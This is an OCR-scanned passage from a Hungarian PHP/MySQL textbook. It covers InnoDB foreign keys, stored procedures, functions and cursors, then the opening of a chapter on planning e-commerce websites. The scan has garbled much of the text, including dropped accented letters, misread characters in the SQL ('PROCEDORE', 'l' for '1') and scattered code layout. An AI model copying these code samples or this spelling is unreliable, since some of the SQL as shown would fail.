cm 8. fejezetben tallkoztunk. MyiSAM tblk hasznlata esetn nincs lehetsg kls kulcsok hasznlatra.
Gondoljuk vgig pldul azt az esetet, amikor sort szrunk bele a rendelesi_tetelek tblba! Ehhez rvnyes
rendelesid-ra
a

van szksg. MyiSAM tblk hasznlata esetn valahol mshol, az alkalmazs logikjval kell szavatolnunk

beszrt rendelesid rvnyessgt. Az InnoDB tblkban a kls kulcsok hasznlata lehetv teszi, hogy az adatbzis

vgezze el helyetrnk ezt az ellenrzst.


Hogyan llrhatjuk ezt be Ha a tblt mr erederileg kls kulcs hasznlatval kvnjuk ltrehozni, akkor a kvetkezkp
pen kell megvltoztaeni a tbla DDL utastst:
CREATE TABLE rendelesi_tetelek (
rendelesid INT UNSIGNED NOT NULL REFERENCES megrendelesek(rendelesid),
isbn CHAR(l3) NOT NULL,
mennyiseg TINYINT UNSIGNED,
PRIMARY KEY (rendelesid,
)

isbn)

TYPE=InnoDB;

A re ferences megrendelesek (rendelesid) szavakat rtuk a rendelesid mg. Ez azt jelenti, hogy az oszlop
kls kulcs, amelynek a megrendelesek tbla rendelesid oszlopbl szrmaz rtket kell tartalmaznia. Ez szksges
a

kls kulcsok mkdshez.

13

212

13. fejezet

ALTER TABLE

utastsokkal meglv tbln is vgrehajthatjuk ezeket a mdostsokat, pldul gy:

ALTER TABLE rendelesi_tetelek TYPE=InnoDB;


ALTER TABLE rendelesi tetelek
ADD FOREIGN KEY (rendelesid)

REFERENCES megrendelesek(rendelesid);

Hogy kidertsk, mkdik-e a mdosts, prbljunk meg olyan rendelesid-j sort beszrni, amelyhez
a megrendelesek tblban nem tartozik megfelel sor:
INSERT INTO rendelesi_tetelek VALUES

(77,

'0-672-31697-8',

7);

Az albbihoz hasonl hibazenetet kell kapnunk:


ERROR

1452

(23000):

Cannot add or update a

a foreign key constraint

child row:

fails

Trolt eljrsok
A trolt eljrs MySQL-en bell ltrehozott s trolt programozsi fggvny, amely SQL utastsokbl s nhny klnleges
vezrlsi szerkezetbl ll. Akkor tud hasznos lenni, amikor ms alkalmazsokbl vagy platformokrl kvnjuk elvgezni ugyan
azt a funkcit, illetve funkcionalits begyazsra is kivlan alkalmas. Adatbzisok esetn a trolt eljrsokra tekinthetnk
gy, mint programozs esetn az objektumorientlt megkzeltsre. Lehetv teszik, hogy kontrolltjuk az adatelrs mdjt.
Elszr vizsgljunk meg egy egyszer pldt!

13

Alapplda
A 13.1 pldakd trolt eljrs deklarlst mutatja.
13.1 pldakd: egyszeru_tarolt_elj aras. sql-

Trolt eljrs deklarlsa

# Plda egyszer trolt eljrsra


delimiter

CREATE

ll

PROCEDORE megrendeles_osszesito

(OUT

total FLOAT)

BEGIN
SELECT SUM(osszeg) INTO total FROM megrendelesek;
END

ll
delimiter

Nzzk meg a kdot sorrl sorra!


Az els utasts, a
delimiter

ll

az utasts vgt jelz elvlaszt aktulis rtkt - ami ltalban pontosvessz, hacsak korbban meg nem vltoztattuk - dupla
elre perjell mdostja. Erre azrt van szksg, hogy a trolt eljrson bell anlkl hasznlhassuk a pontosvesszt, hogy
a MySQL megprblja soronknt vgrehajtani a kdot.
A kvetkez sor, a
CREATE PROCEDORE megrendeles_osszesito

(OUT total FLOAT)

hozza ltre magt az eljrst. Ennek az eljrsnak megrendeles_osszesi to a neve. Egyeden paramtere van, a total, ami
nem ms, mint a kiszmtani kvnt rtk. Az OUT sz jelzi, hogy ezt a paramtert vissza fogjuk kapni.
A pararnterek deklarlhatkIN-knt is, ami azt jelenti, hogy az adott rtket tadjuk az eljrsba, illetve INOUT-knt, ami
kor az rtket tadjuk az eljrsba, ami mdosthatja azt.
A FLOAT sz a paramter tpusra utal. Jelen esetben a megrendelesek tblban lv sszes rendels sszegt adjuk
vissza. A megrendelesek oszlop tpusa FLOAT, gy a visszaadott rtk is FLOAT lesz. Az elfogadhat adattpusok krt
a lehetsges oszloptpusok hatrozzk meg.
Amennyiben egynl tbb paramtert szeremnk hasznlni, vesszvel elvlaszrott listval adhatjuk meg ket, ahogy azt
PHP-ben is tennnk.

Halad MySQL-programozs

A:z. eljrs trzst aBEGIN s az END utasts fogja kzre. A PHP kapcsos zrjeleinek

({

213

} ) felelnek meg, mert az utas

rsblokk elejt s vgt jelzik.


A trzsben egyszeren egy SELECT utastst futtatunk. A:z. egyetlen klnbsg a megszekott hasznlattl az INTO
total mellkg szerepeltetse, amely a lekrdezs eredmnyt a total paramterbe tlti be.

Az eljrs deklarlsa utn az albbi sorral lltjuk vissza az elvlasztt pontosvesszre:


delimiter ;

Deklarlsa utn a CALL kulcsszval hvhaljuk az eljrst, egsz pontosan gy:


CALL megrendeles_osszesito(@t);
Ez az utasts a megrendeles_osszesito trolt eljrst hvja meg, s tad neki egy vltozt az eredmny trolsra.
Ennek megtekintshez ezt a vltozt kell megnznnk:
SELECT @t;
Az eredmny ehhez hasonl lesz:
+-----------------+

l @t
+-----------------+

l 289.92001152039

+-----------------+

Az eljrsok esetben hasznlt mdhoz hasonlan fggvnyt is ltrehozharunk. A fggvny csak bemeneti (input) param
tereket fogad, s egyetlen rtket ad vissza.
Az alapvet szintaktikjuk is majdnem teljesen megegyezik. A 13.2 pldakdban egy mintafggvnyt lthatunk.
13.2 pldakd: egyszeru_ fuggveny. sql

Trolt fggvny deklarlsa

# Fggvny ltrehozsnak alapszntaktikja


delrniter

ll

CREATE FUNCTION ado_hozzaadasa (ar FLOAT)

RETURNS FLOAT

RETURN ar*1.1;
ll
delimiter

Lthat, hogy a fenti plda a PROCEDURE kulcssz helyett a FUNCTION-t hasznlja. Nhny tovbbi klnbsger is meg kell
emlteni.
A paramtereket nem kell IN vagy OUT kulcsszavakkal meghatrozni, mert mind csak IN, azaz bemeneti paramter lehet.
A paramterlista utn a RETURNS FLOAT mellkg lthat. Ez hatrozza meg a visszaadand rtk tpust, amely brmilyen
rvnyes MySQL tpus lehet.
rtket- a MySQL-hez hasonlan- itt is a RETURN utastssal adunk vissza.
Figyeljk meg, hogy a plda nem hasznlja aBEGIN s az END utastst! Berhatjuk ket, de nem ktelez. Akrcsak PHP
ben, ha egy utastsblokk egyetlen utastst tartalmaz, nem szksges jellni az elejt s a vgt.
A fggvnyhvs nmikppen eltr az eljrsok meghvstL Trolt fggvnyt ugyangy hvunk meg, ahogyan egy beptett
fggvnyt tennnk. Pldul:
SELECT ado_hozzaadasa(100};
Ez az utasts az albbi kimenetet eredmnyezi:
+---------------------+

l ado_hozzaadasa(100}
+---------------------+

llO

+---------------------+

Deklarlsuk utn az eljrsok s fggvnyek kdjt a kvetkezkppen tekinthetjk meg:


SHOW CREATE PROCEDURE megrendeles_osszesito;
vagy
SHOW CREATE FUNCTION megrendeles_osszesito;

13

214

13. fejezet

Trlni pedig a
DROP PROCEDURE total_orders;

illetve a
DROP FUNCTION ado_hozzaadasa;

utastssal lehet.
A trol eljrsok esetn hasznlhatunk vezrlsi szerkezeteket, vltozkat, DECLARE kezelket (amelyek a kivtelekhez
hasonlk) s egy fontos,

kurzomak nevezett valamit. A kvetkez rszekben rviden ttekintjk ezeket.

Helyi vltozk
begin ...end blokkon bell a DECLARE kulcsszval vezethetnk be helyi vltozkat. Mdosthaguk

az

ado_hozzaadasa

fggvnyt pldul gy, hogy helyi vltozt hasznlva trolja az adkulcsot. Ezt lthatjuk a 13.3 pldakdban.
13.3 pldakd: egyszeru_fuggveny_val tozokkal. sql-

Vltozkat tartalmaz troltfggvny deklarlsa

# Egyszer fggvny ltrehozsnak alapszntaktikja


delimiter ll
CREATE FUNCTION ado_hozzaadasa (ar FLOAT) RETURNS FLOAT

13

BEGIN
DECLARE ado FLOAT DEFAULT 0.10;
RETURN ar*(l+ado);
end

ll
delimiter

A fentiekbl kiderl, hogy a vltozt a DECLARE kulcsszval deklarljuk, amit a vltoz neve, majd a tpusa kvet. Az opcio
nlis DEFAULT mellkggal kiindul rtket adhatunk a vltoznak. Ezt kveten a szoksos mdon dolgozhatunk a vltozval.

Kurzorok s vezrlsi szerkezetek


Vizsgljunk meg egy sszetettebb pldt! Ebben olyan trolt eljrst fogunk rni, amelyik kiszmolja, melyik rendels rtke
volt a legnagyobb, s ennek a rendelesid-j t adja viss.za. (Termszetesen egy egyszer lekrdezssei is knnyedn kiclerther
nnk ezt

az

rtket, m a plda kivlan szemllteti a kurzorok s a vezrlsi szerkezetek hasznlatr.) A trolt eljrs kdjt

a 13.4 pldakdban tallj uk.


13.4 pldakd: vezerlesi_szerkezetek_ kurzorok. sql-

Eredmnyhalmazfeldolgozsa kurzorokkal s ciklusokkal

# A legnagyobb rtk rendels rendelesid-jt max-szal is kiderthetnnk,


# m az albbi kddal bemutathatjuk a trolt eljrsok elveit
delimiter ll
CREATE PROCEDURE legnagyobb_rendeles(OUT legnagyobb id INT)
BEGIN
DECLARE aktualis id INT;
DECLARE aktualis_osszeg FLOAT;
DECLARE l_osszeg FLOAT DEFAULT 0.0;
DECLARE l id INT;
DECLARE kesz INT DEFAULT 0;
DECLARE CONTINUE HANDLER FOR SQLSTATE

'02000'

SET kesz

l;

Halad MySQL-programozs

cl CURSOR FOR SELECT rendelesid,

DECLARE

215

csszeg FROM megrendelesek;

cl;

OPEN

REPEAT

cl INTO

FETCH

aktualis id,

aktualis csszeg;

IF NOT kesz THEN


IF aktualis_csszeg
SET l

>

l_csszeg THEN

csszeg=aktualis csszeg;

SET l id=aktualis id;


END
END

IF;

IF;

UNTIL kesz END

REPEAT;

CLOSE cl;

SET legnagycbb_id=l

id;

END
ll
delimiter

Ez a kd vezrlsi szerkezeteket (feltteles utastsokat s ciklusokat), kurzorokat s DECLARE kezelker hasznl. Nzzk
r sorrl sorra!
Az eljrs elejn szmos, az eljrson bell hasznland, helyi vltozt deklarlunk. Az aktualis_id s az aktualis_
osszeg

vltoz trolja az aktulis sor rendelesid s csszeg rtkr. Az l_csszeg s az l_id vltoz a legnagyobb

rendelsi rtket s az ahhoz tartoz rendelsazonostt trolja. Mivel a legnagyobb rtket gy llaptjuk meg, hogy minden
rtker sszehasonltunk az addig legnagyobba!, a vltoz kezdeti rtkt nullra llg uk.

A kvetkezknt deklarlt vltoz a kesz, amelynek kezdeti rtke nulla (false ) . Ez a ciklus vgr jelz vltoz. Amikor
elfogynak a megvizsgland sorok, az rtkt l-re ( true ) llguk. A
DECLARE

CONTINUE

HANDLER

FOR SQLSTATE

'02000'

SET kesz =

l;

sort declare

kezelnek (deelare hand/er) nevezzk. Ezek a kivtelekhez hasonl szerepet tltenek be trolt eljrsokban. Lreznek
mg continue (folytats) s exit (kilps) kezelk. A continue kezelk- gy az itt lthat is-elvgzik a meghatrozorr mvele
tet, majd folytatjk az eljrs vgrehajtst. Az exit kezelk kilpnek a legkzelebbiBEGIN...END blokkbl.
A declare kezel kvetkez rsze hatrozza meg, hogy mikor lesz a kezel meghvva. Pldnkban akkor, amikor elrjk az
sqlstate

'02000 '-t. Bizonyra rdekldsre tart szmot, hogy ez mit jelent, mert nagyon titokzatosan hangzik! Azt jelen

ri, hogy az eljrs akkor hvja meg a kezelt, an1ikor nem tall tbb sort. Az eredmnyhalmazt soronknt dolgozzuk fel, s ami
kor elfogynak a feldolgozsra vr sorok, meghvjuk ezt a kezdt. Ugyanezt rjk el a FOR

NOT FOUND

meghatrozsval is.

Tovbbi lehetsg az SQLWARNING s az SQLEXCEPTION.


A kvetkez dolog, amirl beszlnnk kell, a

rolja (pldul olyat, amilyet a mysqli_query


a mysqli_fe t ch_ rcw

DECLARE cl

CURSOR

()

kurzor (cursor). A tmbhz hasonl kurzor lekrdezs eredmnyhalmazr t


() ad vissza), s lehetv teszi, hogy soronknt feldolgozzuk azt (ahogy pldul

fggvnnyel is tehetnnk). Gondoljuk vgig az albbi kurzort:

FOR

SELECT

rendelesid,

csszeg FROM megrendelesek;

Ennek neve cl. Ez pusztn annak meghatrozsa, hogy mit fog trolni. A lekrdezst ezzel mg nem futtattuk le.
A kvetkez sor
OPEN cl;
az, amelyik

rnylegesen lefuttaga a lekrdezst. Ahhoz, hogy egyenknt megkapjuk az egyes adatsorokat, FETCH utastst kell

funamunk. REPEAT ciklusban tesszk ezt. Pldnkban a ciklus a kvetkezkppen nz ki:


REPEAT

UNTIL kesz END REPEAT;

Figyeljk meg, hogy a felttelt (until kesz) a ciklus vgig nem vizsgljuk! A trolt eljrsok a while ciklusokat is tmogagk,
ezek formja:
WHILE feltetel

DO

13

216

13. fejezet

END

WHILE;

LOOP ciklusokat is hasznlhatunk, amelyek az albbi szerkezettel rendelkeznek:


LOOP

END LOOP

Ezek a ciklusok nincsenek beptett felttelekkel elltva, hanem leave;

utasts segtsgvel lphetnk ki bellk. Jegyez

zk meg, hogy a trolt eljrsokban for ciklusokat nem hasznlhatunk!


Folytassuk pldnkat! A kvetkez kdsor egy adatsort fog meg:
FETCH cl INTO aktualis_id,

aktualis_osszeg;

Ez a kd a kurzorlekrdezs egy sort keresi vissza. A lekrdezs ltal visszaadott kt tulajdonsgot a megadott kt helyi
vltozban trolja el.
Kt IF utastssal ellenrizhegk, hogy visszakaptunk-e sort, illetve az aktulis rtket sszehasonlthatjuk az eltrolt leg
nagyobb rtkkel:
IF NOT kesz THEN
IF aktualis asszeg

>

l asszeg THEN

SET l osszeg=aktualls osszeg;


SET l id=aktualis id;
END IF;
END IF;

Vegyk szre, hogy a vltozk rtkeit SET urasrssal llguk be!

13

A trolt eljrsok az IF...THEN szerkezeten tlmenen az IF...THEN...ELSE szerkezetet is tmogagk. Ez a kvet


kezkppen nz ki:
IF feltetel THEN
[ELSEIF feltetel THEN]
[ELSE]

END IF

Ltezik mg a CASE utasts, aminek a kvetkez a formja:


CASE ertek
WHEN ertek THEN utasitas
[WHEN ertek THEN utasitas . .

[ELSE utasitas]
END CASE

Trjnk vissza pldnkhoz! A ciklus befejezdse utn egy kis rendraks vr rnk:
CLOSE cl;
SET legnagyobb_id=l id;

A CLOSE utasts lezrja a kurzort.


Vgl belltjuk az OUT paramtert a kiszmtott rtkre. Ideiglenes vltozknt nem hasznlhatjuk ezt a paramtert, csak
a vgleges rtk trolsra. (Az ilyen hasznlat nhny ms programozsi nyelvhez, pldul az Adhoz hasonl.)
Ha az itt bemutatott mdon ltrehozzuk az eljrst, ugyangy hvhag uk meg, ahogy tettk az elz eljrssal:
CALL legnagyobb_rendeles(@l);
SELECT @l;

Az itt ltharhoz hasonl kimenetet kell kapnunk:


+------+

@l

+------+

+------+

Ellenrizzk magunknak, hogy helyes volt-e a szmts!

Halad MySQL-programozs

217

Tovbbi olvasnival
A fejezeeben rviden megismerkedtnk a trole eljrsok mkdsve!. A tmrl bvebben is olvashacunk a MySQL kzi
knyvben. Ezt rdemes tanulmnyozni akkor is, ha a

LOAD

DATA

INFILE

urasrsrl vagy a klnbz trolmocorokrl

szecernnk tovbbi informcit kapni.


Amennyiben a cranzakcik s az adarbzis-konzisztencia rdekel bennnket, keressnk egy olyan j knyvec a relcis adac
bzisokrl, minr pldul a C. J. Date ltal jegyzett An Introduction to Database Systems!

Hogyan tovbb:
ttekintettk a PHP s a MySQL alapjait. Az E-kereskedelmi honlap zemeltetse cm 14. fejezetben az elektronikus kereske
delem s a biztonsg szemszgbl vizsgljuk meg, hogyan hozzunk ltre olyan weboldalakac, amelyek mgct adarbzis ll.

13

III
E kereskedelem s biztonsg
...

14

E-kereskedelmi honlap zemeltetse

15

Az e-kereskedelem biztonsgi krdsei

16

Webes alkalmazsok biztonsga

17

Hitelests megvalstsa PHP-vel s MySQL-Iel

18

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-Iel

19

A fjlrendszer s a kiszolgl elrse

14
Ekereskedelmi honlap zemeltetse
A fejezetben azzal a krdskrrel foglalkozunk, hogyan lehet hatkonyan megtervezni, ltrehozni s mkdtetni egy e-keres
kedelmi honlapot. Megvizsgljuk a tervet, a lehetsges kockzatokat, illetve megnzzk, hogyan tarthatja el nmagt egy ilyen
weboldal.
Az albbi fbb tmakrkrl olvasharunk:
Az e-kereskedelmi oldalunk clja
Az zleti weboldalak tpusai
Kockzatok s veszlyforrsok megismerse
A megfelel stratgia kivlasztsa

Mi a clunk:
Mielrt tl sok idt fordtannk arra, hogy weboldalunk megvalstsnak rszletein tprengnk, hatrozort clokkal, illetve az
ezekhez a clokhoz elvezet, kellen rszleres tervvel kell rendelkeznnk.
Knyvnkben azzal a feltevssel lnk, hogy zleti weboldalt kvnunk kszteni. Egyik clunk gy minden bizonnyal
a pnzkeress.
Sokflekppen kzethetnk zleti cllal az internethez. Elkpzelhet, hogy offline szolgltatsainkat szeretnnk reklmoz
ni, vagy kzzelfoghat termkeket szetetnnk online rtkesteni. Lehet, hogy online rtkesthet s szolglrathat termkkel
rendelkeznk. Az is lehet, hogy honlapunk clja nem kzveclenl a bevtelteremts, hanem offline tevkenysgeket tmogat,
vagy a jelenlegi lehetsgek egy olcsbb alrernatvjt jelenti.

Az zleti weboldalak tpusai


Az zleti weboldalak jellemzen az albbi feladatok kzill ltnak el egyet vagy tbbet:
Cges informci megjelentse online katalgusknt

Termkekre vagy szolgltatsokra irnyul rendelsek felvtele


Szolgltatsok vagy digitlis termkek rtkestse
Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz
Kltsgcskkents

Az egyes weboldalak klnbz rszei a fenti kategrik kzl tbbnek is megfelelnek. Nzzk meg ezeknek a kategrik
nak a rszleres lerst, illetve azt, hogyan lehet ezeket gy alkalmazni, hogy abbl bevtele vagy ms elnye szrmazzk szerve
zetnknek!
A knyv ezen rsznek clja, hogy segitsen megfogalmazni cljainkat. Mirt van szksgnk weboldalra? A weboldalunkra
tervezert funkcik mivel jrulnak hozz vllalkozsunk sikerhez?

Cges informci megjelentse online katalgusknt


A 1990-es vek elejn szinte minden zleti weboldal pusztn online katalgus vagy rtkestsi eszkz szerept tlttte be.
Mind a mai napig ez az zleti weboldalak leggyakoribb formja. Akr els internetes prblkozsknt, akr olcs reklmozsi
lehetsgknt kezelik, sok cg szmra van ltjogosultsga egy ilyen tpus oldal zemeltetsnek.
A brochureware, azaz a nyomtatort katalgus vagy tjkoztat fzet elektronikus vltozatnak tekinthet honlapok a web
oldal formjra alaktort nvjegykrtyrl az tfog marketinginformcikat knl oldalakig terjednek. Az ilyen honlap clja
s ltnek pnzgyi oka, hogy a potencilis gyfelek kapcsolatba lphessenek a cggel. Kzvetlen l nem termelnek bevtelt, de
hozzjrulhatnak a cg ltal hagyomnyos ton szerzert bevtelekhez.

222

14.fezet

Egy ilyen honlap kifejlesztse mszaki szempontbl nem tl nagy kihvs.A marketing ms terleteirl ismert problmkkal kell itt is megkzdeni.Az ilyen oldalak esetben leginkbb az albbi hibkat szoktk elkvetni:

Elmulasztjk kzztenni a fontos informcikat


Gyenge minsg megjelentssel llnak el
Nem vlaszolnak a honlap ltal generlt megkeressekre
Hagyjk a honlapot megregedni
Elmulasztjk nyomon kvetni az oldal ltogatotcsgt

Fontos informci kzzttelnek elmulasztsa

Mit keresnek a ltogatk, amikor megnyitjk egy cg honlapjt Attl fggen, hogy mr milyen informcikkal rendelkeznek,
lehet, hogy rszletes termkspecilikcikra van szksgk, de az is lehet, hogy olyan egyszer adatokra, mint pldul az elrhe
tsg.
Sok weboldal semmilyen hasznos informcit nem kzl, vagy ppen a lnyegi dolgokrl feledkezik meg.Egy honlapnak
legalbb azt tudatni kell a ltogatkkal, hogy mivel foglalkozik a cg, milyen fldrajzi terletet szolgl ki, s hogyan lehet felven
ni vele a kapcsolatot.

Gyenge minsg megjelents

14

Az interneten senki nem tudja, hogy kutya vagy- szl a rgi monds.1 Ugyangy, ahogy a kisvllalatok (vagy a kucyk) na
gyobbnak s meggyzbbnek tnhetnek az interneten, a nagyvllalatok is tnhetnek kicsinek, amatrnek s rdektelennek, ha
gyenge a honlapjuk
Cgnk mrettl fggetlenl gyelni kell arra, hogy honlapunk magas sznvonal legyen.A szveget olyasvalaki rja s
ellenrizze le, aki magas szinten beszli az adott nyelvet! A kpek legyenek rendezettek s jl lthatk, s gyorsan tltdjenek
le! zleti cl oldalon alaposan meg kell fontolni a kpi elemek s sznek hasznlatt - gyelve arra, hogy illeszkedjenek a cg
ltal kpviselni kivnt imzshoz.Az animcival csnjn bnjunk, st jobb, ha egyltaln nem hasznlunk.Soha ne jtsszunk le
hangot anlkl, hogy a felhasznl ezt kifejezetten krnl
Br azt nem fogjuk tudni elrni, hogy az oldal minden gpen, minden opercis rendszeren s bngszben pontosan
ugyangy jelenjen meg, gyeljnk r, hogy szabvnyos HTML vagy XHTML kdot hasznljunk, hogy ltogatink dnt
tbbsge hiba nlkl lssa az oldalt megjelenni! Fontos, hogy tbbfle kpernyfelbontsban s minden elterjedt bngsz
opercis rendszer kombinciban teszteljk az oldal megjelenst.

A honlap ltal generlt megkeressek vlasz nlkl hagysa

A kivl gyflszolglat az interneten is legalbb olyan fontos szerepet jtszik az gyflszerzsben s -megtartsban, mint az
zleti vilg ms terletein.Kis- s nagyvllalatok egyarnt eikvetik azt a hibt, hogy feltntetnek honlapukon egy e-mail c
mer, majd elmulasztjk ellenrizni s idben megvlaszolni az erre a cmre rkez leveleket.
Az embereknek a vlaszid tekintetben eltr elvrsai vannak az e-maiilel s a postai levllel szemben. Ha az e-maileket
nem ellenrizzk napi rendszeressggel, s nem vlaszolunk rjuk, a feladk azt fogjk gondolni, hogy megkeress k nem fon
tos szmunkra.
A weboldalakon kzztett e-mail cmeknek ltalnosnak kell lennik, pozcihoz vagy cges rszleghez, nem pedig egy adott
szemlyhez kell ktdnik. Vajon mi trtnik a kovacs. j anos@minta. hu cmre kldtt e-maillel, ha Jnos mr nem dol
gozik a cgnl A sales@minta. hu cmre kldtt e-mailt minden bizonnyal megkapja az utdja is. Radsul egynl tbb
munkatrshoz is irnythat, gy biztosan idben vlasz szletik r.
A weboldalakra kirakott e-mail cmekre minden bizonnyal rengeteg kreden levelet, spamet fogunk kapni. Erre is gondol
junk, amikor elhatrozzuk azt, hogyan tovbbtsuk vagy kezeljk az ezekre a cmekre kldtt leveleket! A kzvetlen e-mail
cmek helyett rdemes lehet rlap alap kapcsolatfelvteli lehetsget adni az oldalon, mert ezzel cskkenthet a kreden leve
lek szma.

l Egy internettel kapcsolatos.rgi monds" termszetesen nem lehet tl rgi. Ez az idzet Peter Sreiner humoros rajzbl szrmazik, amely
The New Yorker 1993. jlius 5-ei szmban jelent meg.

erederileg a

E-kereskedelmi honlap zemeltetse

223

Az oldal elavuLisa

Gondoskodni kell arrl, hogy honlapunk megrizze frissessgc s naprakszsgc. A tartalmat rendszeresen vltoztaeni kell.
A szervezeti vltozsokat ugyangy tkrznie kell a honlapnak. Egy ,.beporosodocc oldal" nem sztnz visszatrsre, s azt
a gyant kelti a lcogackban, hogy az informcik jelents rsze mr elavult, nem aktulis.
Az egyik mdszer arra, hogy honlapunk ne veszcse el akcualicsc, ha sajt kezleg frisstjk az oldalakat. Egy msik lehet
sg dinamikus oldalak ltrehozsa olyan programozsi nyelvvel, minc pldul a PHP. Az aktulis informcikhoz folyamarosan
hozzfr kd segtsgvel oldalaink naprakszek maradhatnak.
A ltogatottsg nyomon kvetsnek elmulasztsa

Honlapunk ltrehozsa szp s j, de honnan fogjuk tudni, hogy megrce-e a pnzt s az energit< Klnsen egy nagyvllalac
nak ksztett honlap esetn elbb vagy utbb neknk fogjk szegezni a krst, hogy szmszerscsk, mekkora teket kpvisel
az oldal a vllalat szmra.
Hagyomnyos markeringkampnyok esetben a nagy szeevezetek tbb tzezer dollrt kltenek piackutatsra rszben a kam
pny kezdete eltt, rszben a kampny utn, hogy mrni tudjk a hatkonysgt. Webes vllalkozsunk mrettl s anyagi
lehetsgeitl fggen az ilyen felmrsek a honlap tervezst s ltogatottsgnak rtkelst is megknnythetik.
Mindazonltal szmos egyszerbb vagy olcsbb lehetsg kzl vlaszthacunk:
A szervernaplk vizsglata A webes szerverek rengeteg adatot trolnak a hozzjuk rkez krsekrL Ezek nagy
rsze - marketingclra -hasznlhatatlan, s nyers llapoeukban pusztn mennyisgk miacc is nehezen rtkelhetk.
Hogy rtelmes sszegzse nyerjnk ki a naplfjlokbl, naplfjlelemz segdalkalmazsra van szksgnk. A kt legis
mertebb, ingyenes program az Analog (a http://www.analog.cx/ cmen rhet el) s a Webalizet (http://www.mrunix.
net/webalizer/). Az olyan zleti cl s fizets programok, mint a Summary (http://summary.net) vagy a WebTrends
Analyrics (http://www.webtrends.com/) reljesebb informcit adnak. A naplfjlelemz megmutatja, idben hogyan
vltozik honlapunk ltogatottsga, s mely oldalakat nzik meg a ltogatk.
Eladsok figyelemmel kvetse - Online katalgusunktl azt vrjuk, hogy eladsokat generljon. Az rtkestsre
gyakorolt hatst gy tudjuk megbecslni, ha sszehasonltjuk az oldal elindtsa eltti s utni rtkestsi szinteket.
A hatst nyilvnvalan nehezebb mrni, ha ugyanabban az idszakban ms marketingtevkenysg is okozhatja az inga
dozsokat.
Felhasznli visszajelzsek gyjtse-Amennyiben megkrjk felhasznlinkat, minden bizonnyal rmmel elmond
jk, mir gondolnak honlapunkrL Ha a visszajelzshez rlapot ksztnk szmukra, hasznos vlemnyeker gyjthetnk
be. A visszajelzsek mennyisgr gy nvelhetjk, ha valahogyan sztnzzk a ltogatkat, pldul nyeremnyr sorso
lunk ki a vlaszadk kzct.
Adatgyjts reprezentatv felhasznlk krben A fkuszcsoportos beszlgetsek hatkony mdszert knlnak hon
lapunk vagy a tervezett honlap prototpusnak rtkelsre. A fkuszcsoporros kuratshoz pusztn nhny nkntest
kell sszegyjtennk, majd arra kell krni ket, hogy rtkeljk honlapunkat. Vlaszaikat s vlemnyeiket feljegyezve
rckes adarokhoz juthatunk.
A fkuszcsoportos kutats drga mulatsg lehet, amennyiben szakrt modertor vezeti, aki a potencilis rsztvevket
rtkelve s szrve megprblja garantlni, hogy demogrfiai jellemzikben s szemlyisgkben poncosan reprezentljk az
alapsokasgot vagy a clkznsget, majd hozzrt mdon megincerjvolja ket. A fkuszcsoportos beszlgetsek ugyanakkor
szinte ingyen is elrhetk, amatr is moderlhatja azokat, s olyan rsztvevkkel is lefolyrarhatk, akiknek a clpiachoz val
viszonyuk nem ismert.
Ha megfizetjk szakrt piackutat cg szolglatait, az hozzrten vgrehajtott s hasznlhat eredmnyeket hoz fkusz
csoportos kutatst eredmnyez, m nem ez az egyetlen jrhat t. Ha sajt magunk folytatunk fkuszcsoporros beszlgetse
ket, vlasszunk egy gyes modertort! Kivlarr kell, hogy rtsen az emberek nyelvn, s nem szabad, hogy brmilyen mdon
elfogult vagy rintett legyen a kucats eredmnyt illeten. A csoport ltszmt 6-10 f kzte rdemes tartani. A beszlge
rsen elhangzottakat ajnlott rgzteni, hogy a modertornak csak arra kelljen figyelnie, hogyan irnytja a beszlgetst. Az gy
kapott eredmny pontosan annyira lesz relevns s hitelt rdeml, amennyire a csoportban rsztvev szemlyek mintja. Ha
termkeinket alkalmazottaink bartai vagy csaldtagjai rtkelik, akkor nem valszn, hogy az eredmny megfelelen mucacja
a nagykznsg vlemnyt.
-

Termkekre vagy szolgltatsokra irnyul rendelsek felvtele


A lenygz online megjelens ltrehozsa utn a kvetkez logikai lps lehetv tenni gyfeleinknek az online rende
lst. Az rtkestk pontosan tudjk, mekkora annak fontossga, hogy a vsrlkbl azonnali dntst csikarjunk ki. Minl

14

224

14. fejezer

tbb idr hagyunk nekik, hogy tgondoljk a vsrlsi dnrsket, annl valsznbb, hogy ms zletekben is szrnznek,
vagy egyszeren meggondoljk magukat. Ha az gyfelek szerernk megszerezni rermknker, akkor sajt rdeknk, hogy
a lehet leggyorsabb s legegyszerbb tegyk a vsrlsi folyamatot. Ha arra knyszertjk ket, hogy fellljanak szm
tgpkrl, s trcszzanak egy telefonszmot, vagy keressk fel zletnket, akkor megakasztjuk a folyamatot. Ha online
hirdetsnk meggyzte a fogyasztkat, hogy vsroljanak, akkor engedni kell, hogy azonnal, honlapunk bezrsa eltt meg
tehessk azt.
Az online rendelsfelvtel rengeteg cg szmra elnyt jelenthet. Minden vllalkozs megrendelseket szereme kapni. Az
online rendelsfelvtel lehetsge nvelheti rtkestseinket vagy cskkentheti rtkestink leterheltsgt. Az online rende
lsfelvtelhez szksges krnyezet termszetesen kltsgekkel jr: dinamikus honlap kifejlesztse, a fizetsi mdok megszer
vezse s az gyflszolglat mind pnzbe kerl.
Az online rtkests egyik legvonzbb jellemvonsa, hogy ezen kltsgek nagy rsze pontosan ugyanannyi lesz ezer s
egymilli rendels esern is. Az elfogadhat kltsgszimhez ppen ezrt megfelel mennyisgben rtkesthet termkre vagy
szaigitatsra van szksg. Mieltr nagyon belelnnk magunkar az elektronikus kereskedelem gondolatba, prbljuk vgig
gondolni, hogy termkeink alkalmasak-e online rtkestsre!
Interneten keresztl leginkbb olyan termkeker s szolglratsokat vsrolunk, mint a knyvek s a magazinok, a szm
tgpes szoftverek s hardverek, zene, ruhk, utazs s belpjegyek (sznhz, mozi, koncert stb.). Csak azrt, mert term
knk nem tartozik ezen kategrik kz, nem kell elkeserednnk. Ezek a piacok mr gyis telitve vannak jl (s kevsb jl)
ismert mrkkkal. Mindazonltal rdemes lehet vgiggondolni, mirt pont ezek a legkelendbb portkk az interneten.
Az idelis e-kereskedelmi termk nem romland s egyszeren szlthat, elg drga ahhoz, hogy elfogadhatv tegye
a szlltsi klrsgeket, de annyira mgsem drga, hogy a vsrl knyszert rezzen arra, hogy vsrls eltt fizikailag is
megvizsglja. A legjobb e-kereskedelmi termkek az rucikkek. Ha valaki avokdt szereme venni, minden bizonnyal sze
reen kivlasztani (megfogni, megszagolni) az adott darabot. Nem minden avokd egyforma. Egy knyv, CD vagy szaftver
